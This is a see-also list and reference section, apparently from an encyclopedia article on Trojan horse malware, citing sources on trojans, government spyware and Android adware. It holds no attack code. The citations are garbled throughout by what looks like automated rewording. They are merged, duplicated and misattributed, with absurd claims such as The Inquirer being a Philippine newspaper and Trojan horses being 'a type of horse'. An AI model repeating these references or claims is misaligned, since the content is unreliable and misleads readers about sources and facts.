  • Cuckoo’s egg (metaphor)
  • Cyber spying
  • Dancing pigs
  • Exploit (computer security)
  • In accordance with the principle of least privilege
  • Rogue security software
  • Scammers
  • Remote administration
  • Remote administration software
  • Reverse connection
  • Privacy-invading software
  • Remote administration Zombie (computer science)
  • Technical support scam
  • Timeline of computer viruses and worms


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  2. “What is a Trojan horse? – Definition from Whatis.com”
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  4. Thompson, K. “UNIX PROGRAMMER’S MANUAL, October 9, 1995” (PDF). Retrieved on March 28, 2020
  5. Karger, P.A., and Schell, R.R., “Multics Security Evaluation: Vulnerability Analysis, ESD-TR-74-193″(PDF), Headquarters Electronic Systems Division: Hanscom AFB, MA,II
  6. Ken Thompson (1984), “Reflection on Trusting Trust” (PDF), HQ Electronic Systems Division: Hanscom AFB, MA,II
  7. HQ Electronic Systems Division: Hanscom AFB Commun. ACM.27(8): 761–763, doi:10.1145/358198.358210
  8. Paul A. Karger and Roger R. Schell (2002), “Thirty Years Later: Lessons from the Multics Security Evaluation” (PDF), ACSAC: 119–126
  9. Paul A. Karger and Roger R. Schell According to Karger and Schell, Thompson included the following reference in a later version of his Turing conference: Crapanzano, Jamie (November 1989), “On Trusting Trust.” Unix Review, 7(11): 70–74
  10. Thompson, Ken (November 1989), “On Trusting Trust” (2003). The Deconstruction of SubSeven, the Trojan Horse of Opportunistic Choice (Report). The SANS Institute is a non-profit organization dedicated to information security. abBasil Cupa, Trojan Horse Resurrected: On the Legality of the Use of Government Spyware (Govware), LISS 2013, pp. 419–428
  11. “Häufig gestellte Fragen (Frequently Asked Questions)”. Retrieved on May 10, 2021. Department of Justice and Police of the United States of America The original version of this article was published on May 6, 2013
  12. Dunn, John (August 27, 2009). “Swiss coder publicizes government espionage Trojan.” TechWorld. The original version of this article was published on January 26, 2014. “German federal police deploy trojan virus to overcome phone encryption,” according to a report published on January 10, 2021. According to a BitDefender Malware and Spam Survey, E-Threats are adapting to online behavioral trends, according to DW. Retrieved April 14, 2018. BitDefender. The original version of this article was published on August 8, 2009. In Datta, Ganesh (August 7, 2014), “What Are Trojan Horses?,” he explains what Trojan horses are. SecurAid. The original version of this article was published on August 12, 2014. Obtainable on March 27, 2020
  13. In Wood, Patrick H., and Kochan, Stephen G. (1985), UNIX System Security (Hayden Books, p. 42, ISBN 0-8104-6267-2), UNIX System Security is defined as Kulakow and Seth (1998). Was it still a Trojan horse or was it actually a legitimate Remote Control Administration Tool? ” (Report). The SANS Institute is a non-profit organization dedicated to information security. Retrieved on May 10, 2021
  14. “Mega-Panzer.” SourceForge
  15. “Mini-Panzer.” SourceForge
  16. “Trojanized adware family abuses accessibility service to install any applications it wants – Lookout Blog”
  17. “Trojanized adware family abuses accessibility service to install whatever apps it wants – Lookout Blog”
  18. Dave and Neal (November 20, 2015). “The Android Accessibility Service is under attack by the Shedun trojan adware.” The Inquirer is a newspaper published in the Philippines. Incisive Business Media is a marketing firm that specializes in incisive business communications. The original version of this article was published on November 22, 2015. Retrieved March 27, 2020.:CS1 maint: unsuitable URL (link)
  19. “Lookout discovers new trojanized adware
  20. 20K popular applications caught in the crossfire – Lookout Blog”
  21. 20K popular apps caught in the crossfire – Lookout Blog”
  22. “The malware Shuanet, ShiftyBug, and Shedun has the potential to auto-root your Android.” The New York Times and Technology Review published an article on November 5, 2015. (November 9, 2015). “Welcome to Shedun, Shuanet, and ShiftyBug, a new family of Android malware that is virtually impossible to remove”
  23. “Android adware may install itself even when consumers explicitly refuse it” On November 19, 2015, Collins Advanced Dictionary defined “trojan” as “trojan horse.” “trojan horse.”Microsoft Style Guide. Microsoft. RetrievedMarch 29,2020
  24. “trojan horse.”Microsoft Style Guide. Microsoft. RetrievedMarch 29,2020

External links

  • At Wikimedia Commons, you may find images and videos connected to Trojan horse (malware) “Alert CA-1999-02 issued by the Emergency Response Team. Trojan Horses are a type of horse that is used to deceive others” (PDF). The Software Engineering Institute at Carnegie Mellon University is a research center dedicated to software engineering. The original version of this article was archived on October 17, 2000. 15th of September, 2019
  • Retrieved

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